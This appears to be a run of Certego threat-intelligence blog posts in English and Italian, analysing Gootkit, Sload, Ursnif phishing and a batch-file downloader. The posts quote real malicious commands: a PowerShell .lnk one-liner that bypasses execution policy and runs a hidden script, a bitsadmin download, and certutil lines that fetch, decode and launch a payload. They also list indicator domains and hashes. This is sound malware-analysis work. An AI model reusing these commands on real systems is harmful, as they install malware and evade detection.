To complicate even further, the SYSCALL command can’t be called in the context of a 32-bit application. This means that the executable needs to perform a “trick-into-the-trick” to execute this operation. We are talking about a technique known as The Heaven’s Gate.

Practically, thanks to the RETF instruction, it’s possible to change the code segment (CS) from 0x23 to 0x33, de facto enabling 64-bit mode on the running process.

In the following image we highlight the entrance and the exit of the “Gate” which contains the 64-bit code that performs the SYSCALL operation.

Instead, in this other image, we can see the process status before opening the gate (grey=suspended process) and after having closed it (orange=running process).

Also, Gootkit takes advantage of The Heaven’s Gate as an anti-debugging technique because the majority of commonly used debuggers can’t properly handle this situation, not allowing the analyst to follow the code of the Gate step-by-step.

For further details, this method was deeply explained in this blog (MalwareBytes)

Going back to the point, the first stage resulted more complicated than expected because it pushed over the limits of obfuscation and stealthiness with the combination of various techniques.

Stage 2: Gaining a foothold

At this point we can proceed with the analysis of the unpacked Gootkit.

The very first considerable finding was the check for the existence of a mutex object named “ServiceEntryPointThread”. If it exists, the process would terminate itself.

But how mutexes works? Mutexes are used as a locking mechanism to serialize access to a resource on the system. Malware sometimes uses it as an “infection marker” to avoid to infect the same machine twice. The fascinating thing about mutexes is that they are a double-edged weapon: security analysts could install the mutex in advance to vaccinate endpoints. (ref: Zeltser blog)

This means that this is a great indicator of compromise that we can use not only to detect the infection but also to prevent it.

Moving on, we found that malware authors implemented a lot of checks to understand if the malware is running inside a virtual environment. Some of them are:

  • It checks if the registry key “HKLM\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString” contains the word “Xeon”

  • it checks if the computer name is “7SILVIA” or “SANDBOX”, if the username is “CurrentUser” or “Sandbox” or if “sbiedll.dll” has been loaded.

  • it checks if “HKLM\HARDWARE\Description\System\VideoBiosVersion” contains the word “VirtualBox”

  • it checks “HKLM\Software\Microsoft\Windows\CurrentVersion\SystemBiosVersion” for the string “VBOX”

In the case one of this check fails, the program would execute a Sleep operation in a infinite cycle in the attempt to thwart automated sandbox execution.

After that, we encountered the implementation of a particular persistence mechanism that it seems Gootkit has been using for many months: it’s already documented in various blog posts, for ex. ReaQta blog.

Briefly, the infostealer generates a INF file with the same filename of itself.

Content of the INF file:

Then it creates 3 different registry keys (“Count”, “Path1” and “Section1”) inside “HKCU\Software\Microsoft\IEAK\GroupPolicy\PendingGPOs” with the purpose to allow the threat to execute on reboot.

It seems that this technique was reported to be used only by Gootkit.

Famous security tools still can’t detect this mechanism even if it has been used for months.

For example, the famous SysInternal Autoruns tool, that should be able to show all the programs that are configured to run on system bootup or login, fails the detection of this persistence method.

Stepping through the code, we noticed that, at runtime, Gootkit decrypts the strings it uses with a custom algorithm to evade static analysis detection of anomalous behaviour.

It’s a combination of “stack strings”, XOR commands and the modulo operation.

An exhaustive explanation of the decryption routine can be found here:link

Skipping further, eventually there’s a call to “CreateProcessW” to start a new instance of Gootkit with the following parameter: --vwxyz

Stage 3: Check-in phase

Quickly we found out that executing the malware with the cited parameter allows us to skip all the previous anti-analysis controls to get into the part of the code that starts to contact the Command & Control Server.

The first check-in to home is done to the following URL via HTTPS:

GET hxxps://avant-garde[.]host/rbody32

As we can see from the image, many headers were added to the request to send different informations of the infected machine to the C&C Server.

In particular one of the headers caught my attention: “ X-IsTrustedComp”. Digging into the code we found that the value would be set to “1” if an environment variable called “crackmeololo” was found in the host, “0” otherwise.

That seems another “escaping” mechanism implementing by the author, probably to stop the infection chain for his own debugging purposes.

Last stage:

The response that arrives from the previous connection contains the final stage of Gootkit, configured to work properly on the infected machine.

The malware dynamically loaded “RtlDecompressBuffer” call to use it to decompress the payload; then, it injected into an area of the current process memory.

Afterwards the flow of execution is transferred to the start of the injected code.

The final payload is a DLL file that is bigger than 5MB because it contains the Node.js engine which is probably needed to run some embedded javascript files. At this time we decided to stop our analysis and leave the rest to future work.

Additional findings:

While debugging, we noticed that Gootkit does not check only if a parameter called “ --vwxyz” was passed to the command line. Also it checks if other 3 parameters:

  • --reinstall

  • --service

  • -test

Pretty strange thing. We haven’t found the malware to actively use these arguments yet. However, stepping through code we discovered that:

1 - the “--reinstall” command leaded the execution to some curious code. First, the malware used “CreateToolHelp32Snapshot” to retrieve a list of the current running processes.

Then, it iterated through the retrieved list via “ Process32FirstW” and “Process32NextW” with the aim to get a handle to the active “explorer.exe” instance.

At this point it killed “explorer.exe”. The following image shows the process list before the “TerminateProcess” command.

After having executed that command, we found that a new instance of the malware spawned as a child of “explorer.exe”.

What happened? We performed some tests and it seems that “ explorer.exe” was killed and then automatically restarted by “winlogon.exe”. Therefore “explorer.exe” accessed the keys involved in the persistence mechanism previously explained:

Using this trick, the malware is able to “reinstall” itself, without the need to use suspicious API calls like “ CreateProcessW”.

2 - the “ --service” command did not change the flow of execution with the exception of creating a new environment variable called “USERNAME_REQUIRED” and set it to “TRUE”.

Eventually we found that the final stage checks if the aforementioned variable exists.

3 - the “ -test” command just terminate the process. Indeed it’s a test.


We explored some of the functionalities of one of the most widespread Infostealers of these days, revealing new and old tricks that is using to remain undetected as much time as possible.

Certego is actively monitoring every day threats to improve our detection and response methods, continuously increasing the effectiveness of the incident response workflow.

PS: Let us know if you liked this story and feel free to tell us how we can improve it!


gootkit 1st stage
gootkit 2nd stage
gootkit DLL module

About the author:

Matteo Lodi, Cyber Threat Intelligence Team Leader


Licenza Creative Commons
Quest'opera è distribuita con Licenza Creative Commons Attribuzione - Non commerciale - Non opere derivate 4.0 Internazionale.

Hi everyone, here is Matteo Lodi, Threat Intelligence Analyst in Certego.

Recently, we saw a particular new spam campaign targeting italian users with the focus of delivering a downloader known as Sload.

Nowadays, attackers are trying harder and harder to make difficult the analysis and the detection. The most common tool misused in this way is Powershell: it's installed by default in every recent version of Windows and is commonly used to perform administrator tasks.

The infection chain

Let's dig in the infection chain:

1. User receives an email with subject "<TARGET_COMPANY_NAME> Emissione fattura <random_number>" containing a reference to a fake invoice.

The user is tricked to click on the malicious link that points to a randomly generated domain hosted with HTTPS in 91.218[.]127.189. The following is an example:


2. Once downloaded, if the user opens the archive, it would find two files. The first one is a legit image, while the second one is a .lnk file. We have already seen the misuse of shortcut files with powershell. But this time it seemed different: in fact, the .lnk points to the following command:

cmd.exe /C powershell.exe  -nop -eP ByPass -win hi"d"den -c "&{$9oc=get-childItem -path c:\users\* -recurse -force -include documento-aggiornato-novembre-*.zip;$7ig=get-content -LiteralPat $9oc.fullname;$7ig[$7ig.length-1]|iex}"<br />

3. Where is the download? At first glance, that seemed very strange. After having analyzed the command, the trick was clear. The attackers wants to call "Invoke-Expression" command to run a string hidden inside the zip itself!! But where?

As we can see in the following image, at the end of the original downloaded zip file we can see readable strings that are the real first stage downloader!!

The zip file is still a legit and correctly working archive!

4. The extracted command is the following:

"C:\WINDOWS\system32\cmd.exe" /c echo 1 > C:\Users\REM\AppData\Roaming\<UUID>\d  & bitsadmin /wrap /transfer fredikasledi /download /priority FOReGrOUnd "" C:\Users\REM\AppData\Roaming\<UUID>\fCBvxsTUjdWwkO.ps1 & del C:\Users\REM\AppData\Roaming\<UUID>\d & exit

5. The result is the download and the execution of another powershell script from a server hosted in 185.17[.]27.108. We saw different domains used but, in the last week, the Dropzone IP never changed. Also, we noted that the CnC server was blocking requests without the "Microsoft BITS/7.5" User-Agent to prevent unwanted download by non-infected machines.

This script was very well detected by antivirus engines as you can see in the following image!

How funny was I? Static analysis is completely useless in such cases.

Going forward, the malware drops the following items before deleting itself:

web.ini -> encrypted config file which stores second stage CnC servers URLS

config.ini -> encrypted file which contains the final powershell payload

<random_name>.vbs -> vbs script, next stage

<random_name>.ps1 -> called by the .vbs

Therefore it registers a service called "AppRunLog" to maintain persistence

6. At the end, it calls the registered task. This will execute the dropped Visual Basic Script file that, in turn, will execute the dropped Powershell script:

param ([string]$k = "");$jjyd=Get-Process -name powershell*;if ($jjyd.length -lt 2){$asdfasdf = (Get-WmiObject Win32_ComputerSystemProduct).UUID ;$log = $env:APPDATA+"\"+$asdfasdf;$key=$k -split "," ;$Secure= Get-Content $log"\config.ini";$Encrypted= ConvertTo-SecureString $Secure -key $key;$slStr = [System.Runtime.InteropServices.Marshal]::SecureStringToBSTR($Encrypted);$rStr = [System.Runtime.InteropServices.Marshal]::PtrToStringAuto($slStr);Invoke-Expression $rStr;}

This script parses arguments and it won't execute properly in case they are not what it expects. It needs the numbers from 1 to 16 as arguments because, in fact, they are the key to decrypt the last stage.

7. The final payload is decrypted from the "config.ini" file and is called with "Invoke-Expression". It's loaded directly in memory: this makes very difficult for antivirus products to detect the threat. At the moment, this execution method is widely known as "fileless" because, indeed, the malware is never written on disk.

The payload is the last (finally) powershell script: it is the real Sload downloader which performs various malicious steps that were already explained in details in the article written by Proofpoint.

In few words, Sload can:

  1. Load external binaries
  2. Take screenshots
  3. Update configuration and CnC servers
  4. List running processes
  5. Detect Outlook usage

The variant we spotted in the last week uses the following CnC domains, which resolve in the same IP used by the second downloader stage (185.17[.]27.108)

ljfumm[.]me (HTTPS)
hamofgri[.]me (HTTPS)

However, we expect that this configuration won't last long, because, as we said before, Sload is able to update his CnC servers at any time.


We had a fantastic journey that made us understand, hopefully, how powerful can be Powershell and how attackers are misusing this tool to evade analysis detection.

We analyzed 5 different powershell scripts and that was only the "downloader" phase of the infection.

In case of a successfull one, Sload was seen to download known malware like Ramnit, Gootkit, DarkVNC or Ursnif (reference: Proofpoint). At that stage the threat would be really important.

Certego is monitoring the campaign and it's updating its signatures to correctly detect possible infections.


First stage download: (many and changing fast)

Second stage download: (many and changing fast)

CnC servers: (stable through the last week)

Nelle ultime settimane i sistemi di monitoraggio Certego hanno rilevato un significativo aumento nella diffusione del malware Ursnif.

Questo aumento è dovuto al particolare sistema di spear phishing recentemente impiegato per diffondere tale malware. Questo sistema, già segnalato lo scorso Novembre da Barkly e ripreso questo mese da LibraesvaMetis, si basa su una tecnica che possiamo definire di thread injection: la vittima si vede recapitare un messaggio email come risposta ad una precedente conversazione con un suo contatto, con tanto di citazioni dei messaggi precedenti e firma del mittente, in cui si invita l'ignaro e fiducioso destinatario ad aprire il documento allegato.

Come è facile immaginare, l'allegato in questione, spesso in formato doc di Microsoft Word, in questione contiene in realtà delle MACRO il cui scopo è scaricare da un server remoto una copia del malware Ursnif e così infettare un altro host.

Come anticipato, i vantaggi di questa tecnica di phishing sono evidenti: il rapporto di fiducia che esiste tra le utenze riduce l'attenzione della vittima finale quando questa riceve il documento malevolo. Esiste però anche un altro vantaggio rispetto allo spam "tradizionale": si vengono a colpire esclusivamente utenti attivi e, contemporaneamente, si aggirano i sistemi di raccolta passivi dello spam.

Tuttavia, finora non si avevano prove certe su come operasse il malware per recuperare tali informazioni. Essendo Ursnif un malware la cui principale funzione consiste nel manomettere le connessioni verso i siti bancari (session hijacking), era abbastanza facile supporre che effettuasse la stessa operazione verso i client di posta e/o le webmail; così da raccogliere alcune conversazioni e inviare le mail di phishing sopra descritte. Il malware è così riuscito a trasformare le sue vittime in complici, per quanto ignari, della sua propagazione.

In questi giorni è però emerso un fatto interessante. Durante la sua attività di analisi di un esemplare di Ursnif, il ricercatore noto come  JAMESWT ha individuato su uno dei server utilizzati per distribuire gli eseguibili del malware una cartella contenente numerose informazioni relative ad account di posta.

L'analisi del contenuto della cartella indicata da JAMESWT ha portato alla luce una serie di file testuali in cui erano presenti accurate informazioni per accedere a diversi account di posta compromessi. Per ciascuna utenza sono riportati: nome utente, password, indirizzo del server email e protocollo di accesso.


Poco tempo dopo la segnalazione, i file con le credenziali compromesse sono stati rimossi dal server.

Questo rilevamento ci permette di affermare che, per quanto riguarda le campagne attualmente in atto, i responsabili della diffusione del malware Ursnif abbiano completo accesso e disponibilità delle caselle di posta delle loro vittime, senza alcuna necessità di utilizzare bot o strumenti di intercettazione. Inoltre, espone tutti i contatti delle vittime ad attacchi di spear phishing tramite thread injection, come quelli sopra descritti.

Analizzando alcune mail appartenenti a queste campagne in cerca di anomalie, abbiamo rilevato che il bounce address non corrispondeva con l'indirizzo presumibilmente compromesso. Il controllo degli header Received delle mail ha confermato che il server da cui venivano trasmesse queste mail apparteneva all'organizzazione del bounce address. In base a questo possiamo dire che, al momento in cui scrivamo questo articolo, gli account compromessi non vengano utilizzati per inviare attivamente le mail di phishing. Molto probabilmente si tratta di una scelta ponderata da parte degli attaccanti, in modo da aggirare eventuali filtri in uscita da parte dei server delle loro vittime: infatti un errore di consegna potrebbe allarmare l'utente (o il responsabile della gestione della mail aziendale) che andrebbe quindi in cerca di anomalie, utilizzando invece mail server di una terza parte si evitano questi "inconvenienti".

Il miglior modo per difendersi da questo genere di attacchi è non abilitare in alcun caso le MACRO di qualunque documento ricevuto via mail (o tramite link ricevuti via mail). È comunque importante possedere, e mantenere aggiornato, un buon sistema di difesa sia perimetrale (antispam, firewall) che locale (antivirus), così da ridurre il rischio e contrastare eventuali infezioni.

La piattaforma di Threat Intelligence Certego sta osservando alcune campagne di SPAM che utilizzano file con estensione .url come first-stage downloader per diffondere malware e aggirare i filtri anti-SPAM.

Cosa sono i file .url? Questo tipo di file viene normalmente utilizzato dai sistemi operativi Windows per salvare un collegamento a un sito web, in modo da poter essere facilmente acceduto tramite un semplice click. Di per sé non sono quindi file pericolosi, tuttavia possono essere abusati per la creazione di link malevoli.

La particolarità di questa campagna non risiede solo nell'utilizzo di questo particolare tipo di file, ma anche in come questi siano stati configurati. Infatti, tutti i campioni finora analizzati riportavano URL particolari, in cui lo  schema utilizzato non è il ben noto e diffuso http (o https). Viene invece utilizzato file.

Cosa comporta lo schema file? Questo schema solitamente viene utilizzato per l'accesso al filesystem locale. Può essere anche utilizzato con filesystem remoti, che su Windows vengono acceduti tramite il protocollo SMB.

Si tratta quindi di una nuova tecnica di diffusione di malware, sfruttando il protocollo SMB come canale d'ingresso.

Come funziona questo attacco? Come in tutte le campagne di spam, la vittima riceve una mail che annuncia la comunicazione di un documento contenuto nell'archivio ZIP allegato ad essa.

Una volta estratto il contenuto dello ZIP, l'utente si trova di fronte a quello che appare come un collegamento ad una cartella di Windows (in effetti è proprio di questo che si tratta!).
Una volta cliccato sull'icona l'host tenta di stabilire una connessione SMB con il server controllato dall'attaccante. Questi invia un file JScript che, una volta ricevuto, richiede all'utente se essere eseguito o salvato.

Il file JScript rappresenta il second-stage downloader: questo si collega a un altro server remoto da cui scarica un file eseguibile contenente altro codice malevolo.
Nei casi finora osservati, si è trattato di una variante del malware Quant Loader, il cui scopo è quello di assicurarsi persistenza sull'host e di scaricare altro malware (third-stage downloader).

Come ci si può proteggere da questo tipo di attacco?

 Come per tutti gli attacchi condotti tramite mail la prima linea di difesa è costituita dai filtri anti-SPAM. La componente preponderante però restano gli utenti, poiché senza il loro intervento questo genere di attacchi non potrebbe andare a buon fine; è quindi importante che questi siano istruiti sul fenomeno.

oggetti utilizzati

Continua a leggere

È con grande piacere che vi comunichiamo che Certego ha finalmente ottenuto dall'ente certificatore TÜV SÜD, uno dei più seri e rigorosi, la certificazione UNI CEI EN ISO/IEC 27001:2017, la più importante delle certificazioni sul sistema di gestione per la sicurezza delle informazioni.

Lo standard ISO/IEC 27001 è l'unica norma internazionale soggetta a verifica e certificabile che definisce i requisiti per un SGSI (Sistema di Gestione della Sicurezza delle Informazioni) ed è progettata per garantire la selezione di controlli di sicurezza adeguati e proporzionati. In questo modo è possibile proteggere le informazioni e dare fiducia agli stakeholder, in particolare ai propri clienti.

Grazie al nuovo Sistema di Gestione della Sicurezza delle Informazioni ed all’applicazione dei nostri modelli di Gestione del Rischio, i servizi di Cybersecurity erogati dalla piattaforma Certego PanOptikon sono protetti da processi e controlli di sicurezza che ne garantiscono la riservatezza, l'integrità e la disponibilità.   

L’ottenimento della certificazione ISO/IEC 27001 da parte del team di Incident Response si inserisce in un percorso di qualifiche e riconoscimenti internazionali che rendono Certego una delle realtà aziendali italiane più competenti ed esperte in materia di Cyber Security e Cyber Threat Intelligence.

Hi everyone, here’s Matteo Lodi, member of the Incident Response Team.

Today, we want to talk about a new threat we have just detected while analyzing the alerts generated by our platform.

Everthing started from the analysis of the following ET Signature ET TROJAN Windows executable base64 encoded.

At the first glance, it seemed that there were no executables downloaded.

That was quite strange. A deeper analysis showed that many hosts belonging to one of our customers downloaded a zip file from different domains but the same IP.

Here we are! We could guess that a new spam campaign has just started and many domains are being used to deliver a malware.

So, we started to analyze “Nuovo documento” to understand what kind of threat it is. Once uncompressed, we found inside a batch file called “Nuovo documento 2018.bat”.

The first two lines are the following:

@echo off
start http[:]//

Oh, let’s see what it is:

A poorly trained eye could have just said to himself: “Well that’s just an image, this batch is harmless”

But it wasn’t. In fact, the batch file was other 200 empty lines long and, at the end of it, there were the following statements:

certutil -urlcache -split -f http[:]// %TEMP%\tritype.txt > NUL
certutil -decode %TEMP%\tritype.txt %TEMP%\unslss.exe > NUL
start %TEMP%\unslss.exe

So we found that it’s a downloader. It tries to get a fake php file that, indeed, it’s the base64 encoded executable reported by our platform.

We also noticed the CnC server has implemented a domain whitelist and it allows to download the malware only by the IPs it sent the phishing campaign. If someone tries to get the zip file connecting from other IPs, the site would return a xml empty page.

First VirusTotal analysis wasn’t really satisfying because there was no indication about the malware classification, enhancing our hypothesis about a new spreading threat:

Then, we sent the malware to our threat intelligence platform for further analysis.

External and internal feed couldn't identify with ease what kind of malware it is.

In fact, as already said, the threat is new: manual or automatic analysis didn't get a perfect indication. However, this kind of anti-VM and anti-debugging abilities could lead us to guess that it's an infostealer, probably a Ursnif variant.

Meanwhile, we alerted the customer: to contain the threat, we worked together to find the mail responsible of the infection. The mail was the following one:


Subject: fattura in sospeso

Da un controllo effettuato abbiamo visto che ha dei conti non pagate.
Se i conti non saranno saldati  entro 7 giorni, saremo costretti  a interrompere  la nostra collaborazione.
Se al contrario già effettuato il pagamento, li chiediamo di inoltrare la conferma.
E possibile visualizzare più dettagliato riguardo il saldo cliccando sul seguente link: documento

Cordiali Saluti

So, as already seen in older phishing campaigns, users have to pay attention to emails with “pending invoice” or similar as subject and they haven’t to get tricked to click to the link provided after panicking about a fake unpaid bill.


We found a new spam campaign delivering an evasive infostealer, targeting at least Italian users




www.synchronr[.]com/jcsuyg?wkblw=142954 (Download)
www.hollywoodisruption[.]com/evhp?pdf=37857 (Download)
cloudblueprintprogram[.]com/images4.php (Malware)


e1e4e1c8288a62c7f4acb9ba4b5d2a57 malware.exe (malware)
c7bfa2bb1a027d6179eaa5d48465fad3 images4.php (malware base64 encoded)
a09916eb46ff94a89f09a072100eb3eb Nuovo documento 2018.bat (dropper)